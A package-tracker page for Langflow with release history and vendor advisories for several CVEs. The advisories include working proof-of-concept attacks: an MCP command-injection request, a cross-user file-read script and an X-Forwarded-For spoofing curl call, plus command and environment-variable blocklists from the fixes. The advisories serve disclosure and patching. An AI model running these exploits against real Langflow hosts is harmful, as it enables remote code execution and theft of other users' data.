langflow

Langflow is a powerful tool for building and deploying AI-powered agents and workflows.

View on Pypi

View on Github

Activity

Latest release: 10h ago
Total releases: 519
Cadence: ~daily
Last 12 months: 247

Reach

Stars: 156.1k

Details

License: MIT
First release: Mar 14, 2023

Releases

Version	Released
`1.14.0.dev9` pre	Oct 29, 2026
`1.13.1rc1` pre	Oct 28, 2026
`1.14.0.dev8` pre	Oct 28, 2026
`1.14.0.dev7` pre	Oct 27, 2026
`1.14.0.dev6` pre	Oct 26, 2026
`1.13.1rc0` pre	Oct 25, 2026
`1.14.0.dev5` pre	Oct 25, 2026
`1.14.0.dev4` pre	Oct 24, 2026
`1.14.0.dev3` pre	Oct 23, 2026
`1.13.0` minor	Oct 22, 2026
`1.12.8` patch	Oct 22, 2026
`1.14.0.dev2` pre	Oct 22, 2026
`1.13.0rc4` pre	Oct 22, 2026
`1.12.8rc0` pre	Oct 21, 2026
`1.13.0rc3` pre	Oct 21, 2026
`1.14.0.dev1` pre	Oct 21, 2026
`1.12.7` patch	Oct 21, 2026
`1.12.7rc0` pre	Oct 20, 2026
`1.14.0.dev0` pre	Oct 20, 2026
`1.13.0rc2` pre	Oct 19, 2026
`1.13.0.dev47` pre	Oct 19, 2026
`1.13.0.dev46` pre	Oct 18, 2026
`1.13.0.dev45` pre	Oct 17, 2026
`1.13.0rc1` pre	Oct 16, 2026
`1.13.0.dev44` pre	Oct 16, 2026
`1.13.0.dev43` pre	Oct 15, 2026
`1.13.0.dev42` pre	Oct 14, 2026
`1.13.0rc0` pre	Oct 13, 2026
`1.12.6` patch	Oct 13, 2026
`1.13.0.dev41` pre	Oct 13, 2026
`1.12.6rc3` pre	Oct 12, 2026
`1.12.5rc2` pre	Oct 12, 2026
`1.13.0.dev40` pre	Oct 12, 2026
`1.13.0.dev39` pre	Oct 11, 2026
`1.13.0.dev38` pre	Oct 10, 2026
`1.13.0.dev37` pre	Oct 09, 2026
`1.13.0.dev36` pre	Oct 08, 2026
`1.13.0.dev35` pre	Oct 07, 2026
`1.12.5` patch	Oct 06, 2026
`1.13.0.dev34` pre	Oct 06, 2026
`1.12.5rc1` pre	Oct 05, 2026
`1.13.0.dev33` pre	Oct 05, 2026
`1.12.5rc0` pre	Oct 05, 2026
`1.13.0.dev32` pre	Oct 04, 2026
`1.13.0.dev31` pre	Oct 03, 2026
`1.13.0.dev30` pre	Oct 02, 2026
`1.13.0.dev29` pre	Oct 01, 2026
`1.13.0.dev28` pre	Sep 30, 2026
`1.12.4` patch	Sep 29, 2026
`1.13.0.dev27` pre	Sep 29, 2026

1–50 of 519

Repository

langflow-ai/langflow

Forks: 10.3k
Open issues: 207
Language: Python

react-flow
chatgpt
large-language-models
generative-ai
agents
multiagent

Dependencies (38)

Depends on

1.14.0.dev9

Used by

Supply-chain exposure

12 tracked projects depend on this, <1% of every package we track.

A known CVE here directly exposes every one of them.

Known CVEs (43)

CVE-2026-105697 PYSEC-2026-4237 GHSA-w794-rj3p-xv45 PYSEC-2026-4239 PYSEC-2026-4241 Oct 15, 2026

Langflow: OS command injection (RCE) via arbitrary command in MCP stdio server configuration

9.9 / 10
Critical
Network Low Low None Changed High High High

Summary

Before Langflow 1.10.3, the MCP stdio transport launched whatever command / args a user put in an MCP server configuration, with no allowlist and (before 1.10.3) wrapped in bash -c "exec {command} ...". Any user able to reach the MCP server settings ("Settings → MCP Servers → Add MCP Server", POST/PATCH /api/v2/mcp/servers/{server_name}) or to build a flow with the MCP Tools component could add a "server" whose command is an arbitrary OS command (touch, rm -rf, a reverse shell, ...). The command runs on the Langflow host as the Langflow process user as soon as Langflow tries to connect to the server (listing servers, loading tools, running the flow) — even when the UI then reports that the stdio server failed to start.

With the default LANGFLOW_AUTO_LOGIN=true, GET /api/v1/auto_login hands out a token without credentials, so on an exposed instance running the default configuration this is reachable without an account. AUTO_LOGIN is documented as a development-only setting; with it disabled, any authenticated (non-admin) user can exploit it.

The issue was fixed in two steps and is fully fixed in Langflow 1.10.3 (and 1.11.0+):

1.9.0 — #12290 added a command allowlist and argument/env validation to the REST model (MCPServerConfig), blocking the "Add MCP Server" vector reported here.

1.10.3 — #14036 applied the same policy at the execution sink (lfx.base.mcp.util), including configs embedded in flows / tweaks and the final pre-spawn boundary, and removed the bash -c wrapper (the process is now exec'd directly, without a shell).

Affected versions

| Package (PyPI) | Vulnerable | Patched | |---|---|---| | langflow | >= 1.1.2, < 1.10.3 | 1.10.3 | | langflow-base | >= 0.1.2, < 0.10.3 | 0.10.3 | | lfx | < 1.10.3 | 1.10.3 |

| Release | State | |---|---| | 1.1.2 – 1.4.x | MCP Stdio component (added in #5148) runs StdioServerParameters(command=..., args=...) from the component's command field with no validation. | | 1.5.0 – 1.8.x | "Add MCP Server" settings page and /api/v2/mcp/servers API added (#8388). Stored stdio configs are launched via bash -c "exec {command_str} ..." with no validation. The PoC below works as-is. | | 1.9.0 – 1.10.2 | #12290: POST/PATCH /api/v2/mcp/servers reject commands outside the allowlist. The execution sink still has no validation and still uses bash -c, so configs that do not go through MCPServerConfig (for example an MCP Tools component value embedded in a flow or passed as a tweak) can still execute arbitrary commands. | | 1.10.3+ | #14036: one shared policy (lfx.base.mcp.security.validate_mcp_stdio_config) is enforced at the API, at flow execution and right before the process is spawned; no shell is used. Fixed. |

Details

Vulnerable sink (src/lfx/src/lfx/base/mcp/util.py, MCPStdioClient._connect_to_server, before 1.10.3):

server_params = StdioServerParameters( command="bash", args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"], env=env_data, )

command_str is built from the user's command + args. The only "validation" before 1.9.0 was _validate_node_installation, which only checks that Node.js is installed when the command contains npx. The MCP SDK then starts the process with anyio.open_process, so the command runs before any MCP handshake — which is why it executes even if the UI shows "failed to start".

PoC (as reported, Langflow 1.5.0 – 1.8.x)

In "Add MCP Server" → STDIO, add:

Name - Test Command - touch Arguments - /tmp/pwn

Or through the API, using a token from auto_login (default configuration):

TOKEN=$(curl -s http://127.0.0.1:7860/api/v1/auto_login | python3 -c 'import sys,json;print(json.load(sys.stdin)["access_token"])') curl -s -X POST 'http://127.0.0.1:7860/api/v2/mcp/servers/testing' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ --data-raw '{"command":"touch","args":["/tmp/pwned_langflow"]}'

/tmp/pwned_langflow gets created on the server. On 1.10.3+ the request is rejected with Command 'touch' is not allowed for security reasons. Allowed commands: bash, cmd, docker, node, npx, python, python3, uvx, and the same payload fails at the sink (MCPStdioClient.connect_to_server("touch /tmp/pwned_langflow") raises MCPStdioSecurityError, and no file is created). Wrappers such as bash -c "touch ...", sh -c ..., python3 -c ... and node -e ... are also rejected.

Fix

#12290 (1.9.0) — MCPServerConfig validators: command allowlist (node, python, python3, npx, uvx, docker, and cmd/sh/bash only to wrap one of those), shell-metacharacter and dangerous-keyword checks on arguments, env var blocklist (LD_PRELOAD, NODE_OPTIONS, PYTHONPATH, BASH_ENV, ...), and Docker isolation checks.

#14036 (1.10.3) — moves the policy into lfx.base.mcp.security.validate_mcp_stdio_config and enforces it at every entry point (API, embedded flow / tweak configs, the deprecated MCP Stdio component and just before spawn); it also launches the process without a shell:

command_parts = shlex.split(command_str) command, args = command_parts[0], command_parts[1:] validate_mcp_stdio_config(command, args, env) # final pre-spawn enforcement server_params = StdioServerParameters(command=command, args=final_args, env=env_data)

Later hardening (1.11.0, #13530) adds optional stricter modes for multi-tenant deployments.

Workarounds (if you cannot upgrade)

Set LANGFLOW_AUTO_LOGIN=false and do not expose Langflow directly to untrusted networks.

Only give Langflow accounts to trusted users.

Hardening recommendations for 1.10.3+

The allowlist still lets npx / uvx run any package by default, which is how MCP servers are normally distributed. On multi-tenant deployments, operators should also set:

LANGFLOW_MCP_SERVER_ALLOWED_PACKAGES — the exact packages npx / uvx may run.

LANGFLOW_MCP_SERVER_INTERPRETER_HARDENING=true and LANGFLOW_MCP_SERVER_DOCKER_HARDENING=true.

On 1.11.1+ (#14150), restricting custom code (LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false, LANGFLOW_CUSTOM_COMPONENT_ADMIN_ONLY=true or LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true) also limits MCP stdio servers to superusers.

Impact

Remote code execution on the Langflow host as the Langflow process user (CWE-78). Any exposed instance on a vulnerable version is affected, whether the attacker has an account or uses the default AUTO_LOGIN. The reporter found several internet-facing Langflow servers that were vulnerable.

Affected versions

1.1.21.1.31.1.41.1.4.post11.10.01.10.0rc01.10.11.10.1rc01.10.1rc31.10.21.10.2rc41.10.3rc0

+ 50 more Show less

1.2.01.3.01.3.11.3.21.3.31.3.41.4.01.4.11.4.21.4.31.5.01.5.0.post11.5.0.post21.5.11.6.01.6.11.6.21.6.31.6.41.6.51.6.61.6.71.6.81.6.91.7.01.7.11.7.21.7.31.8.01.8.0rc01.8.0rc11.8.0rc21.8.0rc31.8.0rc41.8.0rc51.8.0rc61.8.11.8.21.8.31.8.3rc01.8.41.9.01.9.11.9.21.9.31.9.3rc01.9.41.9.51.9.61.9.6rc0

Fixed in

1.10.3

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-7w94-79vh-5mr2
https://github.com/langflow-ai/langflow/security/advisories/GHSA-w794-rj3p-xv45
https://nvd.nist.gov/vuln/detail/CVE-2026-105697
https://github.com/langflow-ai/langflow/pull/12290
https://github.com/langflow-ai/langflow/pull/14036
https://github.com/langflow-ai/langflow/commit/eba285edf1dd4a33bf23a9cb8113c991fcdf3d1d

Updated Oct 15, 2026 · Source: OSV.dev
CVE-2026-105698 PYSEC-2026-4234 GHSA-gh98-4phw-6fmw PYSEC-2026-4238 Oct 15, 2026

Langflow : Cross-user flow access and vertex execution via deprecated /api/v1/build/{flow_id}/vertices endpoints

5.4 / 10
Medium
Network Low Low None Unchanged Low Low None

Summary

Before Langflow 1.10.1, two deprecated but still-routed endpoints in the chat API did not check that the authenticated caller owns the flow referenced in the URL path:

POST /api/v1/build/{flow_id}/vertices (retrieve_vertices_order)

POST /api/v1/build/{flow_id}/vertices/{vertex_id} (build_vertex)

Any authenticated user who knows (or obtains) another user's flow_id could load that user's private flow graph, enumerate its vertex IDs, and build (execute) individual vertices of it, receiving the vertex results in the response.

Both routes are declared with deprecated=True, include_in_schema=False, so they do not appear in the OpenAPI docs, but they remained registered on the router. The Langflow UI no longer calls them (it uses POST /api/v1/build/{flow_id}/flow), so they are only reachable by direct HTTP requests.

The issue is fixed in Langflow 1.10.1 (langflow-base 0.10.1) by #13153.

Details

In affected versions, both handlers go straight to the graph loader:

retrieve_vertices_order (src/backend/base/langflow/api/v1/chat.py, lines 81-159 in 1.9.1) only required authentication via dependencies=[Depends(get_current_active_user)]. The user was never injected into the handler, and the flow was loaded with build_graph_from_db(flow_id=flow_id, ...).

build_vertex (chat.py, lines 320-491 in 1.9.1) receives current_user, but only uses it for variable resolution (user_id=str(current_user.id)). It is never used to scope the flow lookup. The graph is taken from the chat-service cache keyed by flow_id, or rebuilt with build_graph_from_db on a cache miss.

build_graph_from_db_no_cache (src/backend/base/langflow/api/utils/flow_utils.py) does a bare primary-key lookup, session.get(Flow, flow_id), with no owner filter.

The supported replacement, POST /api/v1/build/{flow_id}/flow, already restricted the lookup to the owner or a PUBLIC flow (added in #12305 for GHSA-qj98-rhf8-v93f). The deprecated siblings were not covered by that fix, nor by the _read_flow fix for GHSA-8c4j-f57c-35cf.

Additional side effects in affected versions:

retrieve_vertices_order stores the graph in the chat-service cache under the victim's flow_id (chat_service.set_cache(str(flow_id), graph)). When the request includes a data body, the cached graph is attacker-supplied.

build_vertex schedules log_vertex_build for the victim's flow_id, so attacker-triggered builds are recorded in the victim flow's vertex build history.

Note on older versions: up to and including 1.7.1, these two routes had no authentication dependency at all. Authentication was added in 1.7.2 by #10977, but no ownership check was added. This advisory covers the missing ownership check, which is present in every release from 1.0.0 (when the routes were introduced) through 1.10.0.

Attack scenario

The attacker authenticates as any valid user.

The attacker obtains a victim flow_id (shared URLs, exported flow files, logs, screenshots, etc.).

POST /api/v1/build/{victim_flow_id}/vertices returns 200 OK with {"ids": [...], "run_id": "...", "vertices_to_run": [...]} listing the victim flow's vertex IDs (component type plus suffix, e.g. ChatInput-abc12).

The attacker calls POST /api/v1/build/{victim_flow_id}/vertices/{vertex_id} for a returned ID. The victim's graph is loaded and the vertex is built. Its results, outputs and artifacts are returned to the attacker.

Impact

Confidentiality (Low): Discloses the structure of private flows (vertex IDs and component types) and the outputs of vertices the attacker chooses to build. That includes values hardcoded in node configuration, such as prompt text or fixed inputs.

Global variables and credentials in the variable store are not exposed, because variable resolution uses the caller's user_id.

The victim's stored flow definition is not returned wholesale.

Integrity (Low): The attacker can trigger execution of the victim's nodes, including any side effects baked into their configuration (fixed endpoints, webhooks, hardcoded API keys). Build records are written under the victim's flow_id. The attacker cannot modify the stored flow.

Availability: None.

The attacker must be authenticated and must know the target flow UUID. Flow UUIDs are random v4 values, so blind enumeration is not practical.

Proof of concept

Observed on langflow==1.9.1 using the project's test client and in-memory SQLite fixtures (see the attached poc.zip):

| Request | Expected (hardened) | Observed on 1.9.1 | |---|---|---| | Attacker → POST /api/v1/build/{victim_flow_id}/vertices | 404 Not Found | 200 OK with vertex order payload | | Attacker → POST /api/v1/build/{victim_flow_id}/vertices/<bogus-id> | 404 Not Found | 500 {"detail":"Vertex <id> not found"}: the victim graph was loaded before the vertex lookup failed | | Owner (control) → same endpoints | non-404 | non-404 |

On 1.10.1 and later, the attacker requests return 404 Not Found. This is covered by regression tests in src/backend/tests/unit/test_endpoints.py:

test_get_vertices_returns_404_for_other_users_private_flow

test_get_vertices_with_supplied_data_returns_404_for_other_users_private_flow

test_build_vertex_returns_404_for_other_users_private_flow

Patches

Fixed in Langflow 1.10.1 (langflow-base 0.10.1) by #13153 (merge commit fb3d6ec90b). Both handlers now:

inject current_user (for retrieve_vertices_order, this replaces the dependencies-only declaration),

load the flow with an owner-scoped query and return 404 when it is not found, so a flow you don't own looks the same as a missing flow, and

call ensure_flow_permission(current_user, FlowAction.EXECUTE, ...) before building or caching any graph.

# retrieve_vertices_order / build_vertex (1.10.1) stmt = ( select(Flow) .where(Flow.id == flow_id) .where((Flow.user_id == current_user.id) | (Flow.access_type == AccessTypeEnum.PUBLIC)) ) flow = (await session.exec(stmt)).first() if not flow: raise HTTPException(status_code=404, detail=f"Flow with id {flow_id} not found") await ensure_flow_permission( current_user, FlowAction.EXECUTE, flow_id=flow_id, flow_user_id=flow.user_id, workspace_id=flow.workspace_id, folder_id=flow.folder_id, )

Related hardening in later releases:

#14342 (1.11.2) applies the same guard to the sibling GET /api/v1/build/{flow_id}/{vertex_id}/stream route.

#14497 (1.12.0) makes all three deprecated vertex routes owner-only, dropping the PUBLIC exception, because their graph cache is keyed by flow UUID rather than by the executing user.

Users should upgrade to 1.10.1 or later. The latest release is recommended.

Workarounds

If upgrading is not immediately possible, block POST /api/v1/build/*/vertices and POST /api/v1/build/*/vertices/* (and GET /api/v1/build/*/*/stream) at a reverse proxy. The Langflow UI does not use these routes.

Affected versions

1.0.01.0.11.0.101.0.111.0.121.0.131.0.141.0.151.0.161.0.171.0.181.0.19

+ 70 more Show less

1.0.19.post11.0.19.post21.0.21.0.31.0.41.0.51.0.61.0.71.0.81.0.91.1.01.1.11.1.21.1.31.1.41.1.4.post11.10.01.10.0rc01.10.1rc01.10.1rc31.2.01.3.01.3.11.3.21.3.31.3.41.4.01.4.11.4.21.4.31.5.01.5.0.post11.5.0.post21.5.11.6.01.6.11.6.21.6.31.6.41.6.51.6.61.6.71.6.81.6.91.7.01.7.11.7.21.7.31.8.01.8.0rc01.8.0rc11.8.0rc21.8.0rc31.8.0rc41.8.0rc51.8.0rc61.8.11.8.21.8.31.8.3rc01.8.41.9.01.9.11.9.21.9.31.9.3rc01.9.41.9.51.9.61.9.6rc0

Fixed in

1.10.1

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-gh98-4phw-6fmw
https://nvd.nist.gov/vuln/detail/CVE-2026-105698
https://github.com/langflow-ai/langflow/pull/13153
https://github.com/langflow-ai/langflow/commit/fb3d6ec90b1e4d52eaa40915a64b1f86b6542f55
https://github.com/langflow-ai/langflow
https://github.com/langflow-ai/langflow/releases/tag/v1.10.1

Updated Oct 15, 2026 · Source: OSV.dev
CVE-2026-105699 PYSEC-2026-4230 GHSA-4hmc-cfm3-w43c Oct 15, 2026

Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers

High
Network Low Low None

Summary

Langflow's project-scoped MCP transport authenticates the caller for the project_id in the connection URL, but the subsequent resources/read operation does not authorize the resource URI being requested. An authenticated user can connect to their own project-scoped MCP endpoint and supply a crafted file-download URI that points to another user's flow-backed file. The server then reads and returns the victim file without verifying ownership or project membership.

This is a cross-user authorization bypass (userA -> userB) that allows arbitrary read access to files stored under other users' flow namespaces.

Details

Verified against local checkout:

Repository: langflow-ai/langflow

Verified on release tag: v1.8.3

Commit: 08bf98404cfd7737fde57a2588785766cdf1b42e

Earliest stable release known to contain the vulnerable code path: v1.6.8

Relevant code path:

src/backend/base/langflow/api/v1/mcp_projects.py:147-193 verify_project_auth_conditional() authenticates the caller and checks access only to the project_id in the MCP transport URL.

src/backend/base/langflow/api/v1/mcp_projects.py:1238-1241 The project-scoped MCP server registers read_resource() and forwards the attacker-controlled URI directly to handle_read_resource(uri=uri).

src/backend/base/langflow/api/v1/mcp_utils.py:163-182 handle_read_resource() parses the last two URI path segments as flow_id and filename, then directly calls:

storage_service.get_file(flow_id=flow_id, file_name=filename)

No check ties the supplied flow_id back to the authenticated user or the current project.

src/backend/base/langflow/services/storage/local.py:141-149 src/backend/base/langflow/services/storage/s3.py:200-217 The storage layer performs a raw namespace read and is not authorization-aware.

The result is that authorization is enforced at MCP connection time, but not at resource-read time. Once an attacker has access to any project-scoped MCP endpoint they own, they can read another user's flow-backed file by passing a victim-controlled URI.

This issue is also easier to exploit because the global MCP helpers expose cross-user discovery data:

src/backend/base/langflow/api/v1/mcp_utils.py:102-121 handle_list_resources(project_id=None) lists files for all flows.

src/backend/base/langflow/api/v1/mcp_utils.py:333-380 handle_list_tools(project_id=None) queries all flows and includes flow IDs in tool metadata.

That global enumeration is not required for exploitation, but it makes obtaining victim identifiers much easier.

PoC

Preconditions:

Langflow is running locally with authentication enabled.

Two separate users exist on the same instance.

The victim has a flow with an uploaded file.

The attacker has access to any project they own.

Verify the issue locally by starting Langflow with:

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow' set -a source .env.verify set +a export LANGFLOW_CONFIG_DIR="$PWD/.langflow-verify" uv run python - <<'PY' from langflow.main import setup_app import uvicorn app = setup_app(backend_only=True) uvicorn.run(app, host="127.0.0.1", port=7860, log_level="debug") PY

Then, in a second terminal, the following script creates a victim user, an attacker user, a victim flow-backed file, and demonstrates that:

the normal file download route is blocked for the attacker (404)

the same file is readable through the attacker's own project-scoped MCP connection

cd '/Users/r1zzg0d/Documents/CVE hunting/targets/langflow' set -euo pipefail export BASE='http://127.0.0.1:7860' export PASS='Passw0rd!Passw0rd!' export VICTIM_USER="victim.$RANDOM@example.com" export ATTACKER_USER="attacker.$RANDOM@example.com" curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$VICTIM_USER\",\"password\":\"$PASS\"}" >/dev/null curl -sS -X POST "$BASE/api/v1/users/" \ -H 'Content-Type: application/json' \ -d "{\"username\":\"$ATTACKER_USER\",\"password\":\"$PASS\"}" >/dev/null export VICTIM_TOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$VICTIM_USER" \ --data-urlencode "password=$PASS" | jq -r '.access_token' ) export ATTACKER_TOKEN=$( curl -sS -X POST "$BASE/api/v1/login" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "username=$ATTACKER_USER" \ --data-urlencode "password=$PASS" | jq -r '.access_token' ) export VICTIM_PROJECT_ID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"victim-project"}' | jq -r '.id' ) export ATTACKER_PROJECT_ID=$( curl -sS -X POST "$BASE/api/v1/projects/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-project"}' | jq -r '.id' ) export VICTIM_FLOW_ID=$( curl -sS -X POST "$BASE/api/v1/flows/" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -H 'Content-Type: application/json' \ -d "{\"name\":\"victim-flow\",\"data\":{\"nodes\":[],\"edges\":[]},\"folder_id\":\"$VICTIM_PROJECT_ID\"}" \ | jq -r '.id' ) printf 'cross-project-read-proof\n' > /tmp/secret.txt export UPLOAD_JSON=$( curl -sS -X POST "$BASE/api/v1/files/upload/$VICTIM_FLOW_ID" \ -H "Authorization: Bearer $VICTIM_TOKEN" \ -F "file=@/tmp/secret.txt" ) export VICTIM_FILE=$( printf '%s' "$UPLOAD_JSON" | jq -r '.file_path | split("/") | last' ) export VICTIM_URI="$BASE/api/v1/files/download/$VICTIM_FLOW_ID/$VICTIM_FILE" export ATTACKER_API_KEY=$( curl -sS -X POST "$BASE/api/v1/api_key/" \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"attacker-mcp-key"}' | jq -r '.api_key' ) export DIRECT_STATUS=$( curl -sS -o /dev/null -w '%{http_code}' \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ "$VICTIM_URI" ) export MCP_READ_OUTPUT=$( uv run python - <<'PY' import asyncio import base64 import os import httpx from mcp import ClientSession from mcp.client.streamable_http import streamable_http_client base = os.environ["BASE"] project_id = os.environ["ATTACKER_PROJECT_ID"] api_key = os.environ["ATTACKER_API_KEY"] victim_uri = os.environ["VICTIM_URI"] url = f"{base}/api/v1/mcp/project/{project_id}/streamable" async def main(): async with httpx.AsyncClient(headers={"x-api-key": api_key}, timeout=30.0) as client: async with streamable_http_client(url, http_client=client) as (read_stream, write_stream, _): async with ClientSession(read_stream, write_stream) as session: await session.initialize() result = await session.read_resource(victim_uri) blob = result.contents[0].blob print(base64.b64decode(base64.b64decode(blob)).decode().strip()) asyncio.run(main()) PY ) echo "Direct /files/download as attacker -> $DIRECT_STATUS" echo "Project-scoped MCP resources/read -> $MCP_READ_OUTPUT"

Expected output:

Direct /files/download as attacker -> 404 Project-scoped MCP resources/read -> cross-project-read-proof

Observed server logs during verification:

GET /api/v1/files/download/... 404 Not Found POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK POST /api/v1/mcp/project/<attacker-project-id>/streamable 202 Accepted POST /api/v1/mcp/project/<attacker-project-id>/streamable 200 OK

Impact

This is an authenticated IDOR / arbitrary file read issue in the MCP layer.

Any authenticated Langflow user who can access at least one project-scoped MCP endpoint can read files belonging to other users by supplying a victim file URI to resources/read.

Practical impact includes:

Cross-user disclosure of uploaded documents, CSV files, JSON files, prompts, and other flow-backed artifacts

Unauthorized access to sensitive business data stored in flow namespaces

Easier exploitation when global MCP helpers reveal other users' flow IDs and file names

Suggested Remediations

Authorize resources/read against the authenticated context before calling storage. Resolve flow_id to a database object and require both: flow.user_id == current_user.id and, for project-scoped transports, flow.folder_id == current_project_id.

Stop trusting arbitrary file-download URIs as resource identifiers. Instead, return opaque server-generated resource IDs from resources/list and resolve them server-side to an already authorized object.

Scope global MCP enumeration helpers to the authenticated user. handle_list_resources() and handle_list_tools() should not query all flows when project_id=None; they should return only flows owned by the current user, or require elevated privileges for broader discovery.

Fix Status (Maintainer Triage Update — 2026-09-22)

This report is accurate. The vulnerable code path described above (missing ownership check in handle_read_resource()) has since been fixed.

Corrected affected version range: >= 1.6.8, <= 1.9.0 (not <= 1.8.3 — confirmed still vulnerable through v1.9.0; the fix landed with the v1.9.1 release, not later).

Fixed in: v1.9.1 (GitHub Release published 2026-04-24), via PR #12818 — "fix(mcp): close path traversal + cross-user disclosure (PVR0754098)".

Backport commit on release-1.9.1: f0fd436fe9829192ee550e6cb46961a01dd37032

Corresponding commit on main: b8fe970493fd5fb2e1fc71dfccc79f90b76058fa

The fix:

handle_read_resource() now requires an authenticated user context and resolves the namespace segment of the URI to a Flow row scoped to Flow.user_id == current_user.id, additionally filtering on Flow.folder_id == project_id for project-scoped MCP servers (src/backend/base/langflow/api/v1/mcp_utils.py).

Rejects filenames containing .., /, or \ as defense-in-depth against path traversal, and applies the same containment check to the storage layer's get_file/get_file_stream/delete_file/get_file_size (local.py/s3.py, both in langflow and lfx).

handle_list_resources() / handle_list_tools() are now scoped to current_user.id on the global (non-project) MCP server, closing the cross-user enumeration this report also flagged.

Verified independently against langflow-ai/langflow @ 89444c3bb5 (release-1.11.0 branch, current as of 2026-09-22): the fix is present, and the regression suite (src/backend/tests/unit/api/v1/test_mcp_utils.py, 21/21 passing) includes test_handle_read_resource_denies_other_users_flow, which reproduces this report's exact cross-user scenario and asserts it now raises ValueError("... access denied").

Affected versions

1.6.81.6.91.7.01.7.11.7.21.7.31.8.01.8.0rc01.8.0rc11.8.0rc21.8.0rc31.8.0rc4

+ 8 more Show less

1.8.0rc51.8.0rc61.8.11.8.21.8.31.8.3rc01.8.41.9.0

Fixed in

1.9.1

References

https://github.com/langflow-ai/langflow/security/advisories/GHSA-4hmc-cfm3-w43c
https://nvd.nist.gov/vuln/detail/CVE-2026-105699
https://github.com/langflow-ai/langflow/pull/12818
https://github.com/langflow-ai/langflow/commit/b8fe970493fd5fb2e1fc71dfccc79f90b76058fa
https://github.com/langflow-ai/langflow/commit/f0fd436fe9829192ee550e6cb46961a01dd37032
https://github.com/langflow-ai/langflow

Updated Oct 15, 2026 · Source: OSV.dev
CVE-2026-105741 PYSEC-2026-4229 GHSA-4f6c-2vvp-gw82 Oct 15, 2026

Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write

7.1 / 10
High
Network Low Low None Unchanged None High Low

Description:

Summary

An IP spoofing vulnerability in the Model Context Protocol (MCP) configuration installation endpoint (POST /api/v1/mcp/project/{project_id}/install) allowed authenticated remote attackers to bypass the "local-only" access restriction. By sending a spoofed X-Forwarded-For: 127.0.0.1 header, an attacker could make the server treat the request as originating from localhost, letting them write/overwrite an MCP client configuration file on the server's filesystem.

Details

The vulnerability lived in the get_client_ip helper, used to enforce the local-only gate for install_mcp_config. It trusted the leftmost (fully client-controlled) entry of X-Forwarded-For unconditionally, with no check for whether the request had actually passed through a trusted proxy.

Vulnerable code (introduced by commit d3d06be8e5, first released in v1.5.0): src/backend/base/langflow/api/v1/mcp_projects.py

def get_client_ip(request: Request) -> str: # Check for X-Forwarded-For header (common when behind proxies) forwarded_for = request.headers.get("X-Forwarded-For") if forwarded_for: # The client IP is the first one in the list return forwarded_for.split(",")[0].strip() if request.client: return request.client.host return "255.255.255.255" @router.post("/{project_id}/install") async def install_mcp_config( project_id: UUID, body: MCPInstallRequest, # {client: str, transport: "sse" | "streamablehttp" | None} request: Request, current_user: CurrentActiveMCPUser, ): client_ip = get_client_ip(request) if not is_local_ip(client_ip): raise HTTPException(status_code=500, detail="MCP configuration can only be installed from a local connection") ...

Correction vs. the original report: the request body accepted by this endpoint is MCPInstallRequest {client: str, transport: str | None} (src/backend/base/langflow/api/v1/schemas/__init__.py). There is no mcp_path field, and the destination path is never attacker-supplied. install_mcp_config resolves the write target itself, via get_config_path(body.client), to one of a fixed, small set of well-known per-OS developer-tool config paths under the server process's home directory: ~/.cursor/mcp.json (Cursor), ~/.codeium/windsurf/mcp_config.json (Windsurf), or the Claude Desktop config (~/Library/Application Support/Claude/claude_desktop_config.json on macOS, %APPDATA%\Claude\claude_desktop_config.json on Windows/WSL). The impact is therefore "attacker-influenced content written into one of these fixed files," not an arbitrary-path write.

PoC

Authenticate to obtain a valid access token.

Identify a project_id the attacker has access to.

Send:
curl -X POST "http://<server-ip>:7860/api/v1/mcp/project/<project_id>/install" \ -H "Authorization: Bearer <token>" \ -H "X-Forwarded-For: 127.0.0.1" \ -H "Content-Type: application/json" \ -d '{"client": "cursor"}'

The server returns 200 OK and writes/overwrites ~/.cursor/mcp.json on the host with an attacker-influenced MCP server entry, despite the request originating from a remote, non-local address.

Impact

Authenticated Remote Configuration Write to one of a fixed set of IDE/MCP client config files on the host. Could be leveraged to:

Inject a malicious MCP server definition into Cursor/Windsurf/Claude Desktop config, so a local developer who later opens that IDE on the host connects to an attacker-controlled MCP server.

Disrupt or corrupt the existing MCP configuration for those tools.

Bypass an intended network-boundary control ("local-only").

Status: already fixed

This exact bypass (single-line, comma-separated X-Forwarded-For spoofing, default configuration) is fixed as of:

Fix PR: langflow-ai/langflow#13915 — "fix(security): stop trusting X-Forwarded-For for the MCP install locality check", landed as part of the broader hardening effort in langflow-ai/langflow#13530.

Fix: get_client_ip now uses the real TCP peer (request.client.host) by default and ignores X-Forwarded-For entirely unless the operator has explicitly opted in via the rate_limit_trust_proxy setting (default False); when opted in, it takes the rightmost entry, mirroring langflow.services.rate_limit.service.get_client_ip.

Released in: v1.11.0, and backported to v1.10.3 (langflow-ai/langflow#14071).

Related follow-up: a narrower, related bypass — reachable only when an operator has explicitly set rate_limit_trust_proxy=true behind a proxy that emits X-Forwarded-For as repeated header lines rather than a single comma-separated line (e.g. HAProxy's option forwardfor) — was separately closed by langflow-ai/langflow#14425, released in v1.11.3. This does not affect default deployments (rate_limit_trust_proxy defaults to False).

This report is a near-duplicate of GHSA-qvvj-g573-9638, which describes the same root cause and is fixed by the same PR.

Affected versions

